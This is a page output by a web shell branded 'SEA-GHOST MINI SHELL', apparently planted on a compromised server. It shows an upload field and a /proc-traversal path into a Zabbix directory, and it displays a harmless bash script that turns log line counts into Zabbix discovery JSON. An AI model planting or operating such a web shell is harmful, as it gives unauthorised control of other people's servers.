[ SEA-GHOST MINI SHELL]

Path : /proc/2/cwd/proc/self/root/proc/self/root/proc/2/task/2/cwd/var/lib/zabbix/
FILE UPLOADER :
Current File : //proc/2/cwd/proc/self/root/proc/self/root/proc/2/task/2/cwd/var/lib/zabbix/bareos_queue.sh

#!/bin/bash

IFS=$'\n'

log="$1"

first=1

number=$(cat $log| grep -v "^$" | wc -l)

echo -ne "{ \"data\" : [\n";

for i in $(seq 1 $number)
do
  if [ $first == 0 ]; then echo -ne ",\n";
  fi
  first=0
  echo -ne "{"
  echo -ne " \"{#LNUM}\":\"$i\"";
  echo -ne " }";

done

echo -ne " ]";
echo -ne " }\n";

SEA-GHOST - SHELL CODING BY SEA-GHOST